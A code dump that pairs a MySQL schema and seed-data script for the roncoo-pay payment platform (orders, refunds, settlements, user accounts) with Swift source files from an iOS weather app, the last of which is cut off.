datetime NOT NULL, `editor` varchar(100) DEFAULT NULL COMMENT '修改者', `creater` varchar(100) DEFAULT NULL COMMENT '创建者', `edit_time` datetime DEFAULT NULL COMMENT '最后修改时间', `product_name` varchar(50) DEFAULT NULL COMMENT '商品名称', `merchant_order_no` varchar(30) NOT NULL COMMENT '商户订单号', `trx_no` char(20) NOT NULL COMMENT '支付流水号', `bank_order_no` char(20) DEFAULT NULL COMMENT '银行订单号', `bank_trx_no` varchar(30) DEFAULT NULL COMMENT '银行流水号', `order_amount` decimal(20,6) DEFAULT '0.000000' COMMENT '订单金额', `plat_income` decimal(20,6) DEFAULT NULL COMMENT '平台收入', `fee_rate` decimal(20,6) DEFAULT NULL COMMENT '费率', `plat_cost` decimal(20,6) DEFAULT NULL COMMENT '平台成本', `plat_profit` decimal(20,6) DEFAULT NULL COMMENT '平台利润', `status` varchar(30) DEFAULT NULL COMMENT '状态(参考枚举:paymentrecordstatusenum)', `pay_way_code` varchar(50) DEFAULT NULL COMMENT '支付通道编号', `pay_way_name` varchar(100) DEFAULT NULL COMMENT '支付通道名称', `pay_success_time` datetime DEFAULT NULL COMMENT '支付成功时间', `complete_time` datetime DEFAULT NULL COMMENT '完成时间', `is_refund` varchar(30) DEFAULT '101' COMMENT '是否退款(100:是,101:否,默认值为:101)', `refund_times` smallint(6) DEFAULT '0' COMMENT '退款次数(默认值为:0)', `success_refund_amount` decimal(20,6) DEFAULT NULL COMMENT '成功退款总金额', `remark` varchar(500) DEFAULT NULL COMMENT '备注', `batch_no` varchar(50) DEFAULT NULL, `bill_date` datetime DEFAULT NULL ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='差错暂存池'; -- ---------------------------- -- Records of rp_account_check_mistake_scratch_pool -- ---------------------------- -- ---------------------------- -- Table structure for rp_account_history -- ---------------------------- DROP TABLE IF EXISTS `rp_account_history`; CREATE TABLE `rp_account_history` ( `id` varchar(50) NOT NULL, `create_time` datetime NOT NULL, `edit_time` datetime DEFAULT NULL, `version` bigint(20) NOT NULL, `remark` varchar(200) DEFAULT NULL, `account_no` varchar(50) NOT NULL, `amount` decimal(20,6) NOT NULL, `balance` decimal(20,6) NOT NULL, `fund_direction` varchar(36) NOT NULL, `is_allow_sett` varchar(36) NOT NULL, `is_complete_sett` varchar(36) NOT NULL, `request_no` varchar(36) NOT NULL, `bank_trx_no` varchar(30) DEFAULT NULL, `trx_type` varchar(36) NOT NULL, `risk_day` int(11) DEFAULT NULL, `user_no` varchar(50) DEFAULT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='资金账户流水表'; -- ---------------------------- -- Records of rp_account_history -- ---------------------------- -- ---------------------------- -- Table structure for rp_notify_record -- ---------------------------- DROP TABLE IF EXISTS `rp_notify_record`; CREATE TABLE `rp_notify_record` ( `id` varchar(50) NOT NULL, `version` int(11) NOT NULL, `create_time` datetime NOT NULL, `editor` varchar(100) DEFAULT NULL COMMENT '修改者', `creater` varchar(100) DEFAULT NULL COMMENT '创建者', `edit_time` datetime DEFAULT NULL COMMENT '最后修改时间', `notify_times` int(11) NOT NULL, `limit_notify_times` int(11) NOT NULL, `url` varchar(2000) NOT NULL, `merchant_order_no` varchar(50) NOT NULL, `merchant_no` varchar(50) NOT NULL, `status` varchar(50) NOT NULL COMMENT '100:成功 101:失败', `notify_type` varchar(30) DEFAULT NULL COMMENT '通知类型', PRIMARY KEY (`id`), KEY `ak_key_2` (`merchant_order_no`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='通知记录表 rp_notify_record'; -- ---------------------------- -- Records of rp_notify_record -- ---------------------------- -- ---------------------------- -- Table structure for rp_notify_record_log -- ---------------------------- DROP TABLE IF EXISTS `rp_notify_record_log`; CREATE TABLE `rp_notify_record_log` ( `id` varchar(50) NOT NULL, `version` int(11) NOT NULL, `editor` varchar(100) DEFAULT NULL COMMENT '修改者', `creater` varchar(100) DEFAULT NULL COMMENT '创建者', `edit_time` datetime DEFAULT NULL COMMENT '最后修改时间', `create_time` datetime NOT NULL, `notify_id` varchar(50) NOT NULL, `request` varchar(2000) NOT NULL, `response` varchar(2000) NOT NULL, `merchant_no` varchar(50) NOT NULL, `merchant_order_no` varchar(50) NOT NULL COMMENT '商户订单号', `http_status` varchar(50) NOT NULL COMMENT 'http状态', PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='通知记录日志表 rp_notify_record_log'; -- ---------------------------- -- Records of rp_notify_record_log -- ---------------------------- -- ---------------------------- -- Table structure for rp_pay_product -- ---------------------------- DROP TABLE IF EXISTS `rp_pay_product`; CREATE TABLE `rp_pay_product` ( `id` varchar(50) NOT NULL, `create_time` datetime NOT NULL, `edit_time` datetime DEFAULT NULL, `version` bigint(20) NOT NULL, `status` varchar(36) NOT NULL, `product_code` varchar(50) NOT NULL COMMENT '支付产品编号', `product_name` varchar(200) NOT NULL COMMENT '支付产品名称', `audit_status` varchar(45) DEFAULT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='支付产品表'; -- ---------------------------- -- Records of rp_pay_product -- ---------------------------- INSERT INTO `rp_pay_product` VALUES ('01c72326c971422d9aea7be90b9d474f', '2017-05-06 16:40:07', '2017-05-06 16:46:31', '0', 'ACTIVE', 'isee_pay_product', 'isee支付产品', 'YES'); -- ---------------------------- -- Table structure for rp_pay_way -- ---------------------------- DROP TABLE IF EXISTS `rp_pay_way`; CREATE TABLE `rp_pay_way` ( `id` varchar(50) NOT NULL COMMENT 'id', `version` bigint(20) NOT NULL DEFAULT '0' COMMENT 'version', `create_time` datetime NOT NULL COMMENT '创建时间', `edit_time` datetime DEFAULT NULL COMMENT '修改时间', `pay_way_code` varchar(50) NOT NULL COMMENT '支付方式编号', `pay_way_name` varchar(100) NOT NULL COMMENT '支付方式名称', `pay_type_code` varchar(50) NOT NULL COMMENT '支付类型编号', `pay_type_name` varchar(100) NOT NULL COMMENT '支付类型名称', `pay_product_code` varchar(50) DEFAULT NULL COMMENT '支付产品编号', `status` varchar(36) NOT NULL COMMENT '状态(100:正常状态,101非正常状态)', `sorts` int(11) DEFAULT '1000' COMMENT '排序(倒序排序,默认值1000)', `pay_rate` double NOT NULL COMMENT '商户支付费率', PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='支付方式'; -- ---------------------------- -- Records of rp_pay_way -- ---------------------------- INSERT INTO `rp_pay_way` VALUES ('93231f1594904056b039e2d7ea48d69a', '0', '2017-05-06 16:41:33', null, 'ALIPAY', '支付宝', 'ALI_TEST', '支付宝测试', 'isee_pay_product', 'ACTIVE', null, '6'); -- ---------------------------- -- Table structure for rp_refund_record -- ---------------------------- DROP TABLE IF EXISTS `rp_refund_record`; CREATE TABLE `rp_refund_record` ( `id` varchar(50) NOT NULL COMMENT 'id', `version` int(11) NOT NULL COMMENT '版本号', `create_time` datetime DEFAULT NULL COMMENT '创建时间', `editor` varchar(100) DEFAULT NULL COMMENT '修改者', `creater` varchar(100) DEFAULT NULL COMMENT '创建者', `edit_time` datetime DEFAULT NULL COMMENT '最后修改时间', `org_merchant_order_no` varchar(50) DEFAULT NULL COMMENT '原商户订单号', `org_trx_no` varchar(50) DEFAULT NULL COMMENT '原支付流水号', `org_bank_order_no` varchar(50) DEFAULT NULL COMMENT '原银行订单号', `org_bank_trx_no` varchar(50) DEFAULT NULL COMMENT '原银行流水号', `merchant_name` varchar(100) DEFAULT NULL COMMENT '商家名称', `merchant_no` varchar(100) NOT NULL COMMENT '商家编号', `org_product_name` varchar(60) DEFAULT NULL COMMENT '原商品名称', `org_biz_type` varchar(30) DEFAULT NULL COMMENT '原业务类型', `org_payment_type` varchar(30) DEFAULT NULL COMMENT '原支付方式类型', `refund_amount` decimal(20,6) DEFAULT NULL COMMENT '订单退款金额', `refund_trx_no` varchar(50) NOT NULL COMMENT '退款流水号', `refund_order_no` varchar(50) NOT NULL COMMENT '退款订单号', `bank_refund_order_no` varchar(50) DEFAULT NULL COMMENT '银行退款订单号', `bank_refund_trx_no` varchar(30) DEFAULT NULL COMMENT '银行退款流水号', `result_notify_url` varchar(500) DEFAULT NULL COMMENT '退款结果通知url', `refund_status` varchar(30) DEFAULT NULL COMMENT '退款状态', `refund_from` varchar(30) DEFAULT NULL COMMENT '退款来源(分发平台)', `refund_way` varchar(30) DEFAULT NULL COMMENT '退款方式', `refund_request_time` datetime DEFAULT NULL COMMENT '退款请求时间', `refund_success_time` datetime DEFAULT NULL COMMENT ' 退款成功时间', `refund_complete_time` datetime DEFAULT NULL COMMENT '退款完成时间', `request_apply_user_id` varchar(50) DEFAULT NULL COMMENT '退款请求,申请人登录名', `request_apply_user_name` varchar(90) DEFAULT NULL COMMENT '退款请求,申请人姓名', `refund_reason` varchar(500) DEFAULT NULL COMMENT '退款原因', `remark` varchar(3000) DEFAULT NULL COMMENT '备注', PRIMARY KEY (`id`), UNIQUE KEY `ak_key_2` (`refund_trx_no`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='退款记录表'; -- ---------------------------- -- Records of rp_refund_record -- ---------------------------- -- ---------------------------- -- Table structure for rp_sett_daily_collect -- ---------------------------- DROP TABLE IF EXISTS `rp_sett_daily_collect`; CREATE TABLE `rp_sett_daily_collect` ( `id` varchar(50) NOT NULL COMMENT 'id', `version` int(11) NOT NULL DEFAULT '0' COMMENT '版本号', `create_time` datetime NOT NULL COMMENT '创建时间', `edit_time` datetime NOT NULL COMMENT '修改时间', `account_no` varchar(20) NOT NULL COMMENT '账户编号', `user_name` varchar(200) DEFAULT NULL COMMENT '用户姓名', `collect_date` date NOT NULL COMMENT '汇总日期', `collect_type` varchar(50) NOT NULL COMMENT '汇总类型(参考枚举:settdailycollecttypeenum)', `total_amount` decimal(24,10) NOT NULL COMMENT '交易总金额', `total_count` int(11) NOT NULL COMMENT '交易总笔数', `sett_status` varchar(50) NOT NULL COMMENT '结算状态(参考枚举:settdailycollectstatusenum)', `remark` varchar(300) DEFAULT NULL COMMENT '备注', `risk_day` int(11) DEFAULT NULL COMMENT '风险预存期天数', PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='每日待结算汇总'; -- ---------------------------- -- Records of rp_sett_daily_collect -- ---------------------------- -- ---------------------------- -- Table structure for rp_sett_record -- ---------------------------- DROP TABLE IF EXISTS `rp_sett_record`; CREATE TABLE `rp_sett_record` ( `id` varchar(50) NOT NULL COMMENT 'id', `version` int(11) NOT NULL DEFAULT '0' COMMENT '版本号', `create_time` datetime NOT NULL COMMENT '创建时间', `edit_time` datetime NOT NULL COMMENT '修改时间', `sett_mode` varchar(50) DEFAULT NULL COMMENT '结算发起方式(参考settmodetypeenum)', `account_no` varchar(20) NOT NULL COMMENT '账户编号', `user_no` varchar(20) DEFAULT NULL COMMENT '用户编号', `user_name` varchar(200) DEFAULT NULL COMMENT '用户姓名', `user_type` varchar(50) DEFAULT NULL COMMENT '用户类型', `sett_date` date DEFAULT NULL COMMENT '结算日期', `bank_code` varchar(20) DEFAULT NULL COMMENT '银行编码', `bank_name` varchar(100) DEFAULT NULL COMMENT '银行名称', `bank_account_name` varchar(60) DEFAULT NULL COMMENT '开户名', `bank_account_no` varchar(20) DEFAULT NULL COMMENT '开户账户', `bank_account_type` varchar(50) DEFAULT NULL COMMENT '开户账户', `country` varchar(200) DEFAULT NULL COMMENT '开户行所在国家', `province` varchar(50) DEFAULT NULL COMMENT '开户行所在省份', `city` varchar(50) DEFAULT NULL COMMENT '开户行所在城市', `areas` varchar(50) DEFAULT NULL COMMENT '开户行所在区', `bank_account_address` varchar(300) DEFAULT NULL COMMENT '开户行全称', `mobile_no` varchar(20) DEFAULT NULL COMMENT '收款人手机号', `sett_amount` decimal(24,10) DEFAULT NULL COMMENT '结算金额', `sett_fee` decimal(16,6) DEFAULT NULL COMMENT '结算手续费', `remit_amount` decimal(16,2) DEFAULT NULL COMMENT '结算打款金额', `sett_status` varchar(50) DEFAULT NULL COMMENT '结算状态(参考枚举:settrecordstatusenum)', `remit_confirm_time` datetime DEFAULT NULL COMMENT '打款确认时间', `remark` varchar(200) DEFAULT NULL COMMENT '描述', `remit_remark` varchar(200) DEFAULT NULL COMMENT '打款备注', `operator_loginname` varchar(50) DEFAULT NULL COMMENT '操作员登录名', `operator_realname` varchar(50) DEFAULT NULL COMMENT '操作员姓名', PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='结算记录'; -- ---------------------------- -- Records of rp_sett_record -- ---------------------------- -- ---------------------------- -- Table structure for rp_sett_record_annex -- ---------------------------- DROP TABLE IF EXISTS `rp_sett_record_annex`; CREATE TABLE `rp_sett_record_annex` ( `id` varchar(50) NOT NULL, `create_time` datetime NOT NULL, `edit_time` datetime DEFAULT NULL, `version` bigint(20) NOT NULL, `remark` varchar(200) DEFAULT NULL, `is_delete` varchar(36) NOT NULL, `annex_name` varchar(200) DEFAULT NULL, `annex_address` varchar(500) NOT NULL, `settlement_id` varchar(50) NOT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8; -- ---------------------------- -- Records of rp_sett_record_annex -- ---------------------------- -- ---------------------------- -- Table structure for rp_trade_payment_order -- ---------------------------- DROP TABLE IF EXISTS `rp_trade_payment_order`; CREATE TABLE `rp_trade_payment_order` ( `id` varchar(50) NOT NULL COMMENT 'id', `version` int(11) NOT NULL DEFAULT '0' COMMENT '版本号', `create_time` datetime NOT NULL COMMENT '创建时间', `editor` varchar(100) DEFAULT NULL COMMENT '修改者', `creater` varchar(100) DEFAULT NULL COMMENT '创建者', `edit_time` datetime DEFAULT NULL COMMENT '最后修改时间', `status` varchar(50) DEFAULT NULL COMMENT '状态(参考枚举:orderstatusenum)', `product_name` varchar(300) DEFAULT NULL COMMENT '商品名称', `merchant_order_no` varchar(30) NOT NULL COMMENT '商户订单号', `order_amount` decimal(20,6) DEFAULT '0.000000' COMMENT '订单金额', `order_from` varchar(30) DEFAULT NULL COMMENT '订单来源', `merchant_name` varchar(100) DEFAULT NULL COMMENT '商家名称', `merchant_no` varchar(100) NOT NULL COMMENT '商户编号', `order_time` datetime DEFAULT NULL COMMENT '下单时间', `order_date` date DEFAULT NULL COMMENT '下单日期', `order_ip` varchar(50) DEFAULT NULL COMMENT '下单ip(客户端ip,在网关页面获取)', `order_referer_url` varchar(100) DEFAULT NULL COMMENT '从哪个页面链接过来的(可用于防诈骗)', `return_url` varchar(600) DEFAULT NULL COMMENT '页面回调通知url', `notify_url` varchar(600) DEFAULT NULL COMMENT '后台异步通知url', `cancel_reason` varchar(600) DEFAULT NULL COMMENT '订单撤销原因', `order_period` smallint(6) DEFAULT NULL COMMENT '订单有效期(单位分钟)', `expire_time` datetime DEFAULT NULL COMMENT '到期时间', `pay_way_code` varchar(50) DEFAULT NULL COMMENT '支付方式编号', `pay_way_name` varchar(100) DEFAULT NULL COMMENT '支付方式名称', `remark` varchar(200) DEFAULT NULL COMMENT '支付备注', `trx_type` varchar(30) DEFAULT NULL COMMENT '交易业务类型 :消费、充值等', `trx_no` varchar(50) DEFAULT NULL COMMENT '支付流水号', `pay_type_code` varchar(50) DEFAULT NULL COMMENT '支付类型编号', `pay_type_name` varchar(100) DEFAULT NULL COMMENT '支付类型名称', `fund_into_type` varchar(30) DEFAULT NULL COMMENT '资金流入类型', `is_refund` varchar(30) DEFAULT '101' COMMENT '是否退款(100:是,101:否,默认值为:101)', `refund_times` int(11) DEFAULT '0' COMMENT '退款次数(默认值为:0)', `success_refund_amount` decimal(20,6) DEFAULT NULL COMMENT '成功退款总金额', `field1` varchar(500) DEFAULT NULL, `field2` varchar(500) DEFAULT NULL, `field3` varchar(500) DEFAULT NULL, `field4` varchar(500) DEFAULT NULL, `field5` varchar(500) DEFAULT NULL, PRIMARY KEY (`id`), UNIQUE KEY `ak_key_2` (`merchant_order_no`,`merchant_no`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='roncoo pay 龙果支付 支付订单表'; -- ---------------------------- -- Records of rp_trade_payment_order -- ---------------------------- -- ---------------------------- -- Table structure for rp_trade_payment_record -- ---------------------------- DROP TABLE IF EXISTS `rp_trade_payment_record`; CREATE TABLE `rp_trade_payment_record` ( `id` varchar(50) NOT NULL COMMENT 'id', `version` int(11) NOT NULL DEFAULT '0' COMMENT '版本号', `create_time` datetime DEFAULT NULL COMMENT '创建时间', `status` varchar(30) DEFAULT NULL COMMENT '状态(参考枚举:paymentrecordstatusenum)', `editor` varchar(100) DEFAULT NULL COMMENT '修改者', `creater` varchar(100) DEFAULT NULL COMMENT '创建者', `edit_time` datetime DEFAULT NULL COMMENT '最后修改时间', `product_name` varchar(50) DEFAULT NULL COMMENT '商品名称', `merchant_order_no` varchar(50) NOT NULL COMMENT '商户订单号', `trx_no` varchar(50) NOT NULL COMMENT '支付流水号', `bank_order_no` varchar(50) DEFAULT NULL COMMENT '银行订单号', `bank_trx_no` varchar(50) DEFAULT NULL COMMENT '银行流水号', `merchant_name` varchar(300) DEFAULT NULL COMMENT '商家名称', `merchant_no` varchar(50) NOT NULL COMMENT '商家编号', `payer_user_no` varchar(50) DEFAULT NULL COMMENT '付款人编号', `payer_name` varchar(60) DEFAULT NULL COMMENT '付款人名称', `payer_pay_amount` decimal(20,6) DEFAULT '0.000000' COMMENT '付款方支付金额', `payer_fee` decimal(20,6) DEFAULT '0.000000' COMMENT '付款方手续费', `payer_account_type` varchar(30) DEFAULT NULL COMMENT '付款方账户类型(参考账户类型枚举:accounttypeenum)', `receiver_user_no` varchar(15) DEFAULT NULL COMMENT '收款人编号', `receiver_name` varchar(60) DEFAULT NULL COMMENT '收款人名称', `receiver_pay_amount` decimal(20,6) DEFAULT '0.000000' COMMENT '收款方支付金额', `receiver_fee` decimal(20,6) DEFAULT '0.000000' COMMENT '收款方手续费', `receiver_account_type` varchar(30) DEFAULT NULL COMMENT '收款方账户类型(参考账户类型枚举:accounttypeenum)', `order_ip` varchar(30) DEFAULT NULL COMMENT '下单ip(客户端ip,从网关中获取)', `order_referer_url` varchar(100) DEFAULT NULL COMMENT '从哪个页面链接过来的(可用于防诈骗)', `order_amount` decimal(20,6) DEFAULT '0.000000' COMMENT '订单金额', `plat_income` decimal(20,6) DEFAULT NULL COMMENT '平台收入', `fee_rate` decimal(20,6) DEFAULT NULL COMMENT '费率', `plat_cost` decimal(20,6) DEFAULT NULL COMMENT '平台成本', `plat_profit` decimal(20,6) DEFAULT NULL COMMENT '平台利润', `return_url` varchar(600) DEFAULT NULL COMMENT '页面回调通知url', `notify_url` varchar(600) DEFAULT NULL COMMENT '后台异步通知url', `pay_way_code` varchar(50) DEFAULT NULL COMMENT '支付方式编号', `pay_way_name` varchar(100) DEFAULT NULL COMMENT '支付方式名称', `pay_success_time` datetime DEFAULT NULL COMMENT '支付成功时间', `complete_time` datetime DEFAULT NULL COMMENT '完成时间', `is_refund` varchar(30) DEFAULT '101' COMMENT '是否退款(100:是,101:否,默认值为:101)', `refund_times` int(11) DEFAULT '0' COMMENT '退款次数(默认值为:0)', `success_refund_amount` decimal(20,6) DEFAULT NULL COMMENT '成功退款总金额', `trx_type` varchar(30) DEFAULT NULL COMMENT '交易业务类型 :消费、充值等', `order_from` varchar(30) DEFAULT NULL COMMENT '订单来源', `pay_type_code` varchar(50) DEFAULT NULL COMMENT '支付类型编号', `pay_type_name` varchar(100) DEFAULT NULL COMMENT '支付类型名称', `fund_into_type` varchar(30) DEFAULT NULL COMMENT '资金流入类型', `remark` varchar(3000) DEFAULT NULL COMMENT '备注', `field1` varchar(500) DEFAULT NULL, `field2` varchar(500) DEFAULT NULL, `field3` varchar(500) DEFAULT NULL, `field4` varchar(500) DEFAULT NULL, `field5` varchar(500) DEFAULT NULL, `bank_return_msg` varchar(2000) DEFAULT NULL COMMENT '银行返回信息', PRIMARY KEY (`id`), UNIQUE KEY `ak_key_2` (`trx_no`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='支付记录表'; -- ---------------------------- -- Records of rp_trade_payment_record -- ---------------------------- -- ---------------------------- -- Table structure for rp_user_bank_account -- ---------------------------- DROP TABLE IF EXISTS `rp_user_bank_account`; CREATE TABLE `rp_user_bank_account` ( `id` varchar(50) NOT NULL, `create_time` datetime NOT NULL, `edit_time` datetime DEFAULT NULL, `version` bigint(20) NOT NULL, `remark` varchar(200) DEFAULT NULL, `status` varchar(36) NOT NULL, `user_no` varchar(50) NOT NULL, `bank_name` varchar(200) NOT NULL, `bank_code` varchar(50) NOT NULL, `bank_account_name` varchar(100) NOT NULL, `bank_account_no` varchar(36) NOT NULL, `card_type` varchar(36) NOT NULL, `card_no` varchar(36) NOT NULL, `mobile_no` varchar(50) NOT NULL, `is_default` varchar(36) DEFAULT NULL, `province` varchar(20) DEFAULT NULL, `city` varchar(20) DEFAULT NULL, `areas` varchar(20) DEFAULT NULL, `street` varchar(300) DEFAULT NULL, `bank_account_type` varchar(36) NOT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='用户银行账户表'; -- ---------------------------- -- Records of rp_user_bank_account -- ---------------------------- -- ---------------------------- -- Table structure for rp_user_info -- ---------------------------- DROP TABLE IF EXISTS `rp_user_info`; CREATE TABLE `rp_user_info` ( `id` varchar(50) NOT NULL, `create_time` datetime NOT NULL, `status` varchar(36) NOT NULL, `user_no` varchar(50) DEFAULT NULL, `user_name` varchar(100) DEFAULT NULL, `account_no` varchar(50) NOT NULL, `mobile` varchar(15) DEFAULT NULL, `password` varchar(50) DEFAULT NULL, `pay_pwd` varchar(50) DEFAULT '<PASSWORD>' COMMENT '支付密码', PRIMARY KEY (`id`), UNIQUE KEY `ak_key_2` (`account_no`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='该表用来存放用户的基本信息'; -- ---------------------------- -- Records of rp_user_info -- ---------------------------- INSERT INTO `rp_user_info` VALUES ('1', '2017-05-06 12:59:26', 'ACTIVE', '001', 'dinner', '13260916369', '13260916369', '<PASSWORD>', '123456'); INSERT INTO `rp_user_info` VALUES ('d07582daa4244531aa12010b9c625d76', '2017-05-06 16:37:57', 'ACTIVE', '88<PASSWORD>', 'zhuzhu', '99992017050610000001', '13260916369', '<PASSWORD>', '<PASSWORD>'); -- ---------------------------- -- Table structure for rp_user_pay_config -- ---------------------------- DROP TABLE IF EXISTS `rp_user_pay_config`; CREATE TABLE `rp_user_pay_config` ( `id` varchar(50) NOT NULL, `create_time` datetime NOT NULL, `edit_time` datetime DEFAULT NULL, `version` bigint(20) NOT NULL, `remark` varchar(200) DEFAULT NULL, `status` varchar(36) NOT NULL, `audit_status` varchar(45) DEFAULT NULL, `is_auto_sett` varchar(36) NOT NULL DEFAULT 'no', `product_code` varchar(50) NOT NULL COMMENT '支付产品编号', `product_name` varchar(200) NOT NULL COMMENT '支付产品名称', `user_no` varchar(50) DEFAULT NULL, `user_name` varchar(100) DEFAULT NULL, `risk_day` int(11) DEFAULT NULL, `pay_key` varchar(50) DEFAULT NULL, `fund_into_type` varchar(50) DEFAULT NULL, `pay_secret` varchar(50) DEFAULT NULL, `security_rating` varchar(20) DEFAULT 'MD5' COMMENT '安全等级', `merchant_server_ip` varchar(200) DEFAULT NULL COMMENT '商户服务器IP', PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='支付设置表'; -- ---------------------------- -- Records of rp_user_pay_config -- ---------------------------- -- ---------------------------- -- Table structure for rp_user_pay_info -- ---------------------------- DROP TABLE IF EXISTS `rp_user_pay_info`; CREATE TABLE `rp_user_pay_info` ( `id_` varchar(50) NOT NULL, `create_time` datetime NOT NULL, `edit_time` datetime DEFAULT NULL, `version` bigint(20) NOT NULL, `remark` varchar(200) DEFAULT NULL, `status` varchar(36) NOT NULL, `app_id` varchar(50) NOT NULL, `app_sectet` varchar(100) DEFAULT NULL, `merchant_id` varchar(50) DEFAULT NULL, `app_type` varchar(50) DEFAULT NULL, `user_no` varchar(50) DEFAULT NULL, `user_name` varchar(100) DEFAULT NULL, `partner_key` varchar(100) DEFAULT NULL, `pay_way_code` varchar(50) NOT NULL COMMENT '支付方式编号', `pay_way_name` varchar(100) NOT NULL COMMENT '支付方式名称', `offline_app_id` varchar(50) DEFAULT NULL, `rsa_private_key` varchar(100) DEFAULT NULL, `rsa_public_key` varchar(100) DEFAULT NULL, PRIMARY KEY (`id_`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='该表用来存放用户开通的第三方支付信息'; -- ---------------------------- -- Records of rp_user_pay_info -- ---------------------------- -- ---------------------------- -- Table structure for seq_table -- ---------------------------- DROP TABLE IF EXISTS `seq_table`; CREATE TABLE `seq_table` ( `SEQ_NAME` varchar(50) NOT NULL, `CURRENT_VALUE` bigint(20) NOT NULL DEFAULT '1000000002', `INCREMENT` smallint(6) NOT NULL DEFAULT '1', `REMARK` varchar(100) NOT NULL, PRIMARY KEY (`SEQ_NAME`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8; -- ---------------------------- -- Records of seq_table -- ---------------------------- INSERT INTO `seq_table` VALUES ('ACCOUNT_NO_SEQ', '10000001', '1', '账户--账户编号'); INSERT INTO `seq_table` VALUES ('ACTIVITY_NO_SEQ', '10000006', '1', '活动--活动编号'); INSERT INTO `seq_table` VALUES ('BANK_ORDER_NO_SEQ', '10000000', '1', '交易—-银行订单号'); INSERT INTO `seq_table` VALUES ('RECONCILIATION_BATCH_NO_SEQ', '10000000', '1', '对账—-批次号'); INSERT INTO `seq_table` VALUES ('TRX_NO_SEQ', '10000000', '1', '交易—-支付流水号'); INSERT INTO `seq_table` VALUES ('USER_NO_SEQ', '10001114', '1', '用户--用户编号'); -- ---------------------------- -- Function structure for FUN_DATE_ADD -- ---------------------------- DROP FUNCTION IF EXISTS `FUN_DATE_ADD`; DELIMITER ;; CREATE DEFINER=`root`@`localhost` FUNCTION `FUN_DATE_ADD`(STR_DATE VARCHAR(10), STR_INTERVAL INTEGER) RETURNS date BEGIN RETURN date_add(STR_DATE, INTERVAL STR_INTERVAL DAY); END ;; DELIMITER ; -- ---------------------------- -- Function structure for FUN_NOW -- ---------------------------- DROP FUNCTION IF EXISTS `FUN_NOW`; DELIMITER ;; CREATE DEFINER=`root`@`localhost` FUNCTION `FUN_NOW`() RETURNS datetime BEGIN RETURN now(); END ;; DELIMITER ; -- ---------------------------- -- Function structure for FUN_SEQ -- ---------------------------- DROP FUNCTION IF EXISTS `FUN_SEQ`; DELIMITER ;; CREATE DEFINER=`root`@`localhost` FUNCTION `FUN_SEQ`(SEQ VARCHAR(50)) RETURNS bigint(20) BEGIN UPDATE SEQ_TABLE SET CURRENT_VALUE = CURRENT_VALUE + INCREMENT WHERE SEQ_NAME=SEQ; RETURN FUN_SEQ_CURRENT_VALUE(SEQ); END ;; DELIMITER ; -- ---------------------------- -- Function structure for FUN_SEQ_CURRENT_VALUE -- ---------------------------- DROP FUNCTION IF EXISTS `FUN_SEQ_CURRENT_VALUE`; DELIMITER ;; CREATE DEFINER=`root`@`localhost` FUNCTION `FUN_SEQ_CURRENT_VALUE`(SEQ VARCHAR(50)) RETURNS bigint(20) BEGIN DECLARE VALUE INTEGER; SET VALUE=0; SELECT CURRENT_VALUE INTO VALUE FROM SEQ_TABLE WHERE SEQ_NAME=SEQ; RETURN VALUE; END ;; DELIMITER ; -- ---------------------------- -- Function structure for FUN_SEQ_SET_VALUE -- ---------------------------- DROP FUNCTION IF EXISTS `FUN_SEQ_SET_VALUE`; DELIMITER ;; CREATE DEFINER=`root`@`localhost` FUNCTION `FUN_SEQ_SET_VALUE`(SEQ VARCHAR(50), VALUE INTEGER) RETURNS bigint(20) BEGIN UPDATE SEQ_TABLE SET CURRENT_VALUE=VALUE WHERE SEQ_NAME=SEQ; RETURN FUN_SEQ_CURRENT_VALUE(SEQ); END ;; DELIMITER ;
71cfe0136ec31830746c21e6556f4ee2edc91590
[ "SQL" ]
1
SQL
DinnerPig/roncoo-pay
dbe9c37d65091bb92ca9db810973727e777d6ab0
b8bdab75ea1f4d8ecbb77624eeb6ed39b40a2683
refs/heads/master
<file_sep>// // BindingTextField.swift // GoodWeatherApp // // Created by <NAME> on 12/04/2020. // Copyright © 2020 Ayemere Odia . All rights reserved. // import UIKit class BindingTextField: UITextField { override init(frame: CGRect) { super.init(frame: frame) commonInit() } required init?(coder: NSCoder) { super.init(coder: coder) commonInit() } var textChange:(String)->() = { _ in } func commonInit(){ self.addTarget(self, action: #selector(textFieldDidChange), for: .editingChanged) } @objc func textFieldDidChange(_ uitextField:UITextField){ if let text = uitextField.text { self.textChange(text) } } func Binding(callback:@escaping (String)->()){ self.textChange = callback } } <file_sep>// // ViewController.swift // GoodWeatherApp // // Created by <NAME> on 10/04/2020. // Copyright © 2020 <NAME> . All rights reserved. // import UIKit class WeatherListTableViewController: UITableViewController,AddWeatherDelegate,SettingsDelegate { private var weatherDataSource:TableViewDataSource<WeatherCell,WeatherViewModel>! func settingsDone(vm: SettingsViewModel) { self.weatherList.updateUnit(to:vm.selectedUnit) tableView.reloadData() } private var weatherList:WeatherListViewModel = WeatherListViewModel() func AddWeatherDidSave(vm: WeatherViewModel) { self.weatherList.addWeatherViewModel(vm) self.weatherDataSource.updateItem(self.weatherList.weatherListViewModel) self.tableView.reloadData() } override func viewDidLoad() { super.viewDidLoad() self.weatherDataSource = TableViewDataSource(cellIdentifier: "WeatherCell", items: self.weatherList.weatherListViewModel){ cell, vm in cell.configure(vm) } self.navigationController?.navigationBar.prefersLargeTitles = true self.tableView.dataSource = self.weatherDataSource } 